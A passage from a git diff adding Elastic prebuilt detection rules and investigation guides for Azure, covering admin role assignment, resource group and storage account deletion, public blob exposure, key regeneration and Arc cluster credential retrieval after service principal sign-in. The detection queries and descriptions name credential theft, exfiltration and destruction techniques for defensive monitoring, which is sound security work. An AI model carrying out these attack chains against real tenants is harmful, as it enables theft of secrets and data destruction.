8e3af657-a8ff-443c-a75c-2fe8c4bcb635 +- Azure File Sync Administrator: 92b92042-07d9-4307-87f7-36a593fc5850 +- Reservations Administrator: a8889054-8d42-49c9-bc1c-52486c10e7cd +- Role Based Access Control Administrator: f58310d9-a9f6-439a-9e8d-f62e7b41a168 +- User Access Administrator: 18d7d88d-d35e-4fb5-a5c3-7773c20a72d9 + + +*Possible investigation steps* + + +- Identify the user who assigned the role and examine their recent activity for any suspicious actions. +- Review the source IP address and location associated with the role assignment event to assess if it aligns with expected user behavior or if it indicates potential unauthorized access. +- Check the history of role assignments for the user who was assigned the role to determine if this is a recurring pattern or a one-time event. + - Additionally, identify the lifetime of the targeted user account to determine if it is a newly created account or an existing one. +- Determine if the user assigning the role historically has the necessary permissions to assign such roles and has done so in the past. +- Investigate any recent changes or activities performed by the newly assigned administrator to identify any suspicious actions or configurations that may have been altered. +- Correlate with other logs, such as Microsoft Entra ID sign-in logs, to identify any unusual access patterns or behaviors for the user. + + +*False positive analysis* + + +- Legitimate administrators may assign built-in administrator roles during routine operations, maintenance or as required for onboarding new staff. +- Review internal tickets, change logs, or admin activity dashboards for approved operations. + + +*Response and remediation* + + +- If administrative assignment was not authorized: + - Immediately remove the built-in administrator role from the account. + - Disable or lock the account and begin credential rotation. + - Audit activity performed by the account after elevation, especially changes to role assignments and resource access. +- If suspicious: + - Notify the user and confirm whether they performed the action. + - Check for any automation or scripts that could be exploiting unused elevated access paths. + - Review conditional access and PIM (Privileged Identity Management) configurations to limit elevation without approval. +- Strengthen posture: + - Require MFA and approval for all privilege escalation actions. + - Consider enabling JIT (Just-in-Time) access with expiration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + event.action: "MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE" and + azure.activitylogs.properties.requestbody.properties.roleDefinitionId: + ( + *18d7d88d-d35e-4fb5-a5c3-7773c20a72d9* or + *f58310d9-a9f6-439a-9e8d-f62e7b41a168* or + *b24988ac-6180-42a0-ab88-20f7382dd24c* or + *8e3af657-a8ff-443c-a75c-2fe8c4bcb635* or + *92b92042-07d9-4307-87f7-36a593fc5850* or + *a8889054-8d42-49c9-bc1c-52486c10e7cd* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-resource-group-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-resource-group-deleted.asciidoc new file mode 100644 index 0000000000..365a9fa380 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-resource-group-deleted.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-21-azure-resource-group-deleted]] +=== Azure Resource Group Deleted + +Identifies the deletion of a resource group in Azure, which includes all resources within the group. Deletion is permanent and irreversible. An adversary may delete a resource group in an attempt to evade defenses or intentionally destroy data. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-portal + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Log Auditing +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Resource Group Deleted* + + +Azure Resource Groups are containers that hold related resources for an Azure solution, enabling efficient management and organization. Adversaries may exploit this by deleting entire groups to disrupt services or erase data, causing significant impact. The detection rule monitors Azure activity logs for successful deletion operations, flagging potential malicious actions for further investigation. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking for the operation name "MICROSOFT.RESOURCES/SUBSCRIPTIONS/RESOURCEGROUPS/DELETE" and ensure the event outcome is marked as "Success" or "success". +- Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs. +- Check the timestamp of the deletion event to determine when the resource group was deleted and correlate this with any other suspicious activities around the same time. +- Investigate the resources contained within the deleted resource group to assess the potential impact, including any critical services or data that may have been affected. +- Review any recent changes in permissions or roles assigned to the user or service principal involved in the deletion to identify potential privilege escalation or misuse. +- Examine any related alerts or logs for unusual activities or patterns that might indicate a broader attack or compromise within the Azure environment. + + +*False positive analysis* + + +- Routine maintenance activities by IT teams may trigger alerts when resource groups are intentionally deleted as part of regular updates or infrastructure changes. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or deployment tools that manage resource lifecycles might delete resource groups as part of their normal operation. Identify these scripts and exclude their activity from alerts by filtering based on the service principal or automation account used. +- Testing environments often involve frequent creation and deletion of resource groups. Exclude these environments from alerts by tagging them appropriately and configuring the detection rule to ignore actions on tagged resources. +- Mergers or organizational restructuring can lead to legitimate resource group deletions. Coordinate with relevant departments to anticipate these changes and temporarily adjust monitoring rules to prevent false positives. +- Ensure that any third-party services or consultants with access to your Azure environment are accounted for, as their activities might include resource group deletions. Establish clear communication channels to verify their actions and adjust monitoring rules accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected Azure subscription to prevent further unauthorized actions. This can be done by temporarily disabling access or applying strict access controls. +- Review and revoke any suspicious or unauthorized access permissions associated with the affected resource group to prevent further exploitation. +- Restore the deleted resources from backups if available. Ensure that backup and recovery processes are validated and functioning correctly. +- Conduct a thorough audit of recent Azure activity logs to identify any other potentially malicious actions or compromised accounts. +- Escalate the incident to the security operations team for a detailed investigation and to determine if there are broader implications or related threats. +- Implement additional monitoring and alerting for similar deletion activities across all Azure subscriptions to enhance early detection of such threats. +- Review and strengthen access management policies, ensuring that only authorized personnel have the necessary permissions to delete resource groups. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.RESOURCES/SUBSCRIPTIONS/RESOURCEGROUPS/DELETE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: System Shutdown/Reboot +** ID: T1529 +** Reference URL: https://attack.mitre.org/techniques/T1529/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access.asciidoc new file mode 100644 index 0000000000..6ed353676a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-21-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access]] +=== Azure Service Principal Sign-In Followed by Arc Cluster Credential Access + +Detects when a service principal authenticates to Microsoft Entra ID and then lists credentials for an Azure Arc-connected Kubernetes cluster within a short time window. The `listClusterUserCredential` action retrieves tokens that enable kubectl access through the Arc Cluster Connect proxy. This sequence (service principal sign-in followed by Arc credential retrieval), represents the exact attack chain used by adversaries with stolen service principal secrets to establish a proxy tunnel into Kubernetes clusters. Service principals that authenticate externally (as opposed to managed identities) and immediately access Arc cluster credentials warrant investigation, particularly when the sign-in originates from an unexpected location or ASN. + +*Rule type*: eql + +*Rule indices*: + +* logs-azure.signinlogs-* +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/cluster-connect +* https://learn.microsoft.com/en-us/cli/azure/connectedk8s#az-connectedk8s-proxy +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins +* https://www.ibm.com/think/x-force/identifying-abusing-azure-arc-for-hybrid-escalation-persistence +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Azure Arc +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Service Principal Sign-In Followed by Arc Cluster Credential Access* + + +This rule detects the complete attack entry point for Arc-proxied Kubernetes attacks: a service principal authenticates +to Azure AD, then immediately retrieves Arc cluster credentials. This is the prerequisite sequence before any +Kubernetes-level activity can occur through the Arc proxy. + + +*Possible investigation steps* + + +- Identify the service principal using the `app_id` from the sign-in event and resolve it in Azure AD — is this a + known application? +- Check the sign-in source IP and geolocation — does it match expected infrastructure locations for this SP? +- Review when the SP credentials were last rotated — stale credentials are more likely compromised. +- Check the ASN of the sign-in source — is it from a known cloud provider, corporate network, or unexpected consumer ISP? +- Examine Azure Activity Logs after the credential listing for any Arc-proxied operations (secret/configmap CRUD). +- Correlate with Kubernetes audit logs for operations by the Arc proxy service account + (`system:serviceaccount:azure-arc:azure-arc-kube-aad-proxy-sa`) in the same time window. +- Review Azure AD Audit Logs for recent changes to this SP (new credentials, federated identities, owner changes). + + +*Response and remediation* + + +- Immediately rotate the service principal credentials (secrets and certificates). +- Revoke active sessions and tokens for the SP. +- Review and remove any unauthorized Azure role assignments on Arc-connected clusters. +- Check Kubernetes audit logs for any operations performed through the Arc proxy after credential access. +- Rotate any Kubernetes secrets that may have been accessed through the proxy tunnel. +- Enable conditional access policies to restrict service principal authentication by location if supported. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=30m +[authentication where data_stream.dataset == "azure.signinlogs" + and azure.signinlogs.category == "ServicePrincipalSignInLogs" + and azure.signinlogs.properties.status.error_code == 0 +] by azure.signinlogs.properties.app_id +[any where data_stream.dataset == "azure.activitylogs" + and azure.activitylogs.operation_name : "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/LISTCLUSTERUSERCREDENTIAL/ACTION" + and event.outcome : ("Success", "success") +] by azure.activitylogs.identity.claims.appid + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-blob-public-access-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-blob-public-access-enabled.asciidoc new file mode 100644 index 0000000000..c5f473e480 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-blob-public-access-enabled.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-21-azure-storage-account-blob-public-access-enabled]] +=== Azure Storage Account Blob Public Access Enabled + +Identifies when Azure Storage Account Blob public access is enabled, allowing external access to blob containers. This technique was observed in cloud ransom-based campaigns where threat actors modified storage accounts to expose non-remotely accessible accounts to the internet for data exfiltration. Adversaries abuse the Microsoft.Storage/storageAccounts/write operation to modify public access settings. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ +* https://docs.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-configure + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Storage Account Blob Public Access Enabled* + + +Azure Storage Accounts provide cloud storage solutions with various access control mechanisms. The public access setting, when enabled, allows anonymous internet access to blob containers, bypassing authentication requirements. Adversaries exploit this feature to expose sensitive data for exfiltration or to establish persistent external access. This detection monitors for successful modifications that enable public blob access, a technique notably used in STORM-0501 cloud ransom-based campaigns. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal that initiated the storage account modification by examining the principal ID, UPN and user agent fields. +- Check the specific storage account name in `azure.resource.name` to understand which storage resources were affected and assess the sensitivity of data stored there. +- Investigate the timing of the event to correlate with any other suspicious activities, such as unusual login patterns or privilege escalation attempts. +- Examine the request or response body details to understand the full scope of changes made to the storage account configuration beyond public access settings. +- Review access logs for the affected storage account to identify any subsequent data access or exfiltration attempts following the public access enablement. +- Verify if the storage account modification aligns with approved change requests or maintenance windows in your organization. +- Check for other storage accounts modified by the same principal to identify potential lateral movement or widespread configuration changes. +- Pivot into related activity for the storage account and/or container such as data deletion, encryption or further permission changes. + + +*False positive analysis* + + +- Legitimate CDN integration or public website hosting may require enabling public blob access. Document approved storage accounts used for public content delivery and create exceptions for these specific resources. +- DevOps automation tools might temporarily enable public access during deployment processes. Identify service principals used by CI/CD pipelines and consider time-based exceptions during deployment windows. +- Testing and development environments may have different access requirements. Consider filtering out non-production storage accounts if public access is acceptable in those environments. +- Migration activities might require temporary public access. Coordinate with infrastructure teams to understand planned migrations and create temporary exceptions with defined expiration dates. + + +*Response and remediation* + + +- Immediately disable public blob access on the affected storage account using Azure Portal IaC, or Azure CLI command. +- Audit all blob containers within the affected storage account to identify which data may have been exposed and assess the potential impact of the exposure. +- Review Azure Activity Logs and storage access logs to determine if any data was accessed or exfiltrated while public access was enabled. +- Rotate any credentials, keys, or sensitive data that may have been stored in the exposed blob containers. +- If unauthorized modification is confirmed, disable the compromised user account or service principal and investigate how the credentials were obtained. +- Implement Azure Policy to prevent enabling public blob access on storage accounts containing sensitive data, using built-in policy definitions for storage account public access restrictions. +- Consider implementing private endpoints for storage accounts that should never be publicly accessible, ensuring network-level isolation. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.activitylogs" and +event.action: "MICROSOFT.STORAGE/STORAGEACCOUNTS/WRITE" and +event.outcome: "success" and +azure.activitylogs.properties.responseBody: *\"allowBlobPublicAccess\"\:true* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-deletion-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-deletion-by-unusual-user.asciidoc new file mode 100644 index 0000000000..b88a699037 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-deletion-by-unusual-user.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-21-azure-storage-account-deletion-by-unusual-user]] +=== Azure Storage Account Deletion by Unusual User + +Identifies when an Azure Storage Account is deleted. Adversaries may delete storage accounts to disrupt operations, destroy evidence, or cause denial of service. This activity could indicate an attacker attempting to cover their tracks after data exfiltration or as part of a destructive attack. Monitoring storage account deletions is critical for detecting potential impact on business operations and data availability. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Storage Account Deletion by Unusual User* + + +Azure Storage Accounts provide scalable cloud storage for applications and services. Deletion of storage accounts is a high-impact operation that permanently removes all contained data including blobs, files, queues, and tables. Adversaries may delete storage accounts to destroy evidence of their activities, disrupt business operations, or cause denial of service as part of ransomware or destructive attacks. This detection monitors for successful storage account deletion operations to identify potential malicious activity. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal that initiated the storage account deletion by examining the principal ID, UPN and user agent fields. +- Check the specific storage account name in `azure.resource.name` to understand which storage resources were deleted and assess the business impact. +- Investigate the timing of the event to correlate with any other suspicious activities, such as unusual login patterns, privilege escalation attempts, or other resource deletions. +- Examine the user's recent activity history to identify any other storage accounts or Azure resources that were deleted or modified by the same principal. +- Verify if the storage account deletion aligns with approved change requests or maintenance windows in your organization. +- Check if the deleted storage account contained critical data and whether backups are available for recovery. +- Review any related alerts or activities such as data exfiltration, configuration changes, or access policy modifications that occurred before the deletion. +- Investigate if the account was recently compromised by checking for suspicious authentication events or privilege escalations. + + +*False positive analysis* + + +- Legitimate decommissioning of unused storage accounts may trigger this alert. Document approved storage account cleanup activities and coordinate with infrastructure teams to understand planned deletions. +- DevOps automation tools might delete temporary storage accounts as part of infrastructure lifecycle management. Identify service principals used by CI/CD pipelines and consider creating exceptions for these automated processes. +- Testing and development environments may have frequent storage account creation and deletion cycles. Consider filtering out non-production storage accounts if appropriate for your environment. +- Cost optimization initiatives may involve deleting unused or redundant storage accounts. Coordinate with finance and infrastructure teams to understand planned resource optimization activities. + + +*Response and remediation* + + +- Immediately investigate whether the deletion was authorized by verifying with the account owner or relevant stakeholders. +- If the deletion was unauthorized, attempt to recover the storage account if soft-delete is enabled, or restore data from backups. +- Disable the compromised user account or service principal if unauthorized activity is confirmed and investigate how the credentials were obtained. +- Review and restrict Azure RBAC permissions to ensure only authorized users have storage account deletion capabilities (requires Contributor or Owner role). +- Implement Azure Resource Locks to prevent accidental or malicious deletion of critical storage accounts. +- Configure Azure Activity Log alerts to notify security teams immediately when storage accounts are deleted. +- Conduct a full security assessment to identify any other compromised resources or accounts and look for indicators of broader compromise. +- Document the incident and update security policies and procedures to prevent similar incidents in the future. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + azure.activitylogs.operation_name: "MICROSOFT.STORAGE/STORAGEACCOUNTS/DELETE" and + azure.activitylogs.identity.claims_initiated_by_user.name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-deletions-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-deletions-by-user.asciidoc new file mode 100644 index 0000000000..63cdd1e6e3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-deletions-by-user.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-21-azure-storage-account-deletions-by-user]] +=== Azure Storage Account Deletions by User + +Identifies when a single user or service principal deletes multiple Azure Storage Accounts within a short time period. This behavior may indicate an adversary attempting to cause widespread service disruption, destroy evidence, or execute a destructive attack such as ransomware. Mass deletion of storage accounts can have severe business impact and is rarely performed by legitimate administrators except during controlled decommissioning activities. + +*Rule type*: threshold + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Storage Account Deletions by User* + + +Azure Storage Accounts are critical infrastructure components that store application data, backups, and business-critical information. Mass deletion of storage accounts is an unusual and high-impact activity that can result in significant data loss and service disruption. Adversaries may perform bulk deletions to destroy evidence after data exfiltration, cause denial of service, or as part of ransomware campaigns targeting cloud infrastructure. This detection identifies when a single identity deletes multiple storage accounts in a short timeframe, which is indicative of potentially malicious activity. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal that initiated the multiple storage account deletions by examining the principal ID, UPN and user agent fields in `azure.activitylogs.identity.claims_initiated_by_user.name`. +- Check the specific storage account names in `azure.resource.name` to understand which storage resources were deleted and assess the overall business impact. +- Investigate the timing and sequence of deletions to determine if they followed a pattern consistent with automated malicious activity or manual destruction. +- Examine the user's recent activity history including authentication events, privilege changes, and other Azure resource modifications to identify signs of account compromise. +- Verify if the storage account deletions align with approved change requests, maintenance windows, or decommissioning activities in your organization. +- Check if the deleted storage accounts contained critical data and whether backups are available for recovery. +- Review any related alerts or activities such as data exfiltration, unusual authentication patterns, or privilege escalation that occurred before the deletions. +- Investigate if other Azure resources (VMs, databases, resource groups) were also deleted or modified by the same principal. +- Check the authentication source and location to identify if the activity originated from an expected network location or potentially compromised session. + + +*False positive analysis* + + +- Legitimate bulk decommissioning of storage accounts during infrastructure cleanup may trigger this alert. Document approved resource cleanup activities and coordinate with infrastructure teams to create exceptions during planned maintenance windows. +- Infrastructure-as-Code (IaC) automation tools or CI/CD pipelines may delete multiple test or temporary storage accounts. Identify service principals used by automation tools and consider creating exceptions for these identities when operating in non-production environments. +- Cloud resource optimization initiatives may involve bulk deletion of unused storage accounts. Coordinate with finance and infrastructure teams to understand planned cost optimization activities and schedule them during documented maintenance windows. +- Disaster recovery testing or blue-green deployment strategies may involve deletion of multiple storage accounts. Work with DevOps teams to identify these patterns and create time-based exceptions during testing periods. + + +*Response and remediation* + + +- Immediately investigate whether the deletions were authorized by verifying with the account owner or relevant stakeholders. +- If the deletions were unauthorized, disable the compromised user account or service principal immediately to prevent further damage. +- Attempt to recover deleted storage accounts if soft-delete is enabled, or restore data from backups for critical storage accounts. +- Review and audit all Azure RBAC permissions to identify how the attacker gained storage account deletion capabilities (requires Contributor or Owner role). +- Conduct a full security assessment to identify the initial access vector and any other compromised accounts or resources. +- Implement Azure Resource Locks on all critical storage accounts to prevent accidental or malicious deletion. +- Configure Azure Policy to require approval workflows for storage account deletions using Azure Blueprints or custom governance solutions. +- Enable Azure Activity Log alerts to notify security teams immediately when storage accounts are deleted. +- Escalate the incident to the security operations center (SOC) or incident response team for investigation of potential broader compromise. +- Document the incident and update security policies, playbooks, and procedures to prevent similar incidents in the future. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + azure.activitylogs.operation_name: "MICROSOFT.STORAGE/STORAGEACCOUNTS/DELETE" and + azure.activitylogs.identity.claims_initiated_by_user.name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-key-regenerated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-key-regenerated.asciidoc new file mode 100644 index 0000000000..6caaeb3152 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-key-regenerated.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-azure-storage-account-key-regenerated]] +=== Azure Storage Account Key Regenerated + +Identifies a rotation to storage account access keys in Azure. Regenerating access keys can affect any applications or Azure services that are dependent on the storage account key. Adversaries may regenerate a key as a means of acquiring credentials to access systems and resources. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage?tabs=azure-portal + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Storage Account Key Regenerated* + + +Azure Storage Account keys are critical credentials that grant access to storage resources. They are often used by applications and services to authenticate and interact with Azure Storage. Adversaries may regenerate these keys to gain unauthorized access, potentially disrupting services or exfiltrating data. The detection rule monitors for key regeneration events, flagging successful operations as potential indicators of credential misuse, thus enabling timely investigation and response. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific storage account associated with the key regeneration event by examining the operation_name field for "MICROSOFT.STORAGE/STORAGEACCOUNTS/REGENERATEKEY/ACTION". +- Check the event.outcome field to confirm the success of the key regeneration and gather details about the user or service principal that initiated the action. +- Investigate the user or service principal's recent activities in Azure to determine if there are any other suspicious actions or patterns that could indicate unauthorized access or misuse. +- Assess the impact on applications and services that rely on the affected storage account key by identifying dependencies and checking for any service disruptions or anomalies. +- Review access policies and permissions for the storage account to ensure they are appropriately configured and consider implementing additional security measures, such as Azure Key Vault, to manage and rotate keys securely. + + +*False positive analysis* + + +- Routine key rotation by administrators or automated scripts can trigger alerts. To manage this, identify and document regular key rotation schedules and exclude these events from alerts. +- Development and testing environments often regenerate keys frequently. Exclude these environments from alerts by filtering based on environment tags or resource names. +- Third-party integrations or services that require periodic key regeneration might cause false 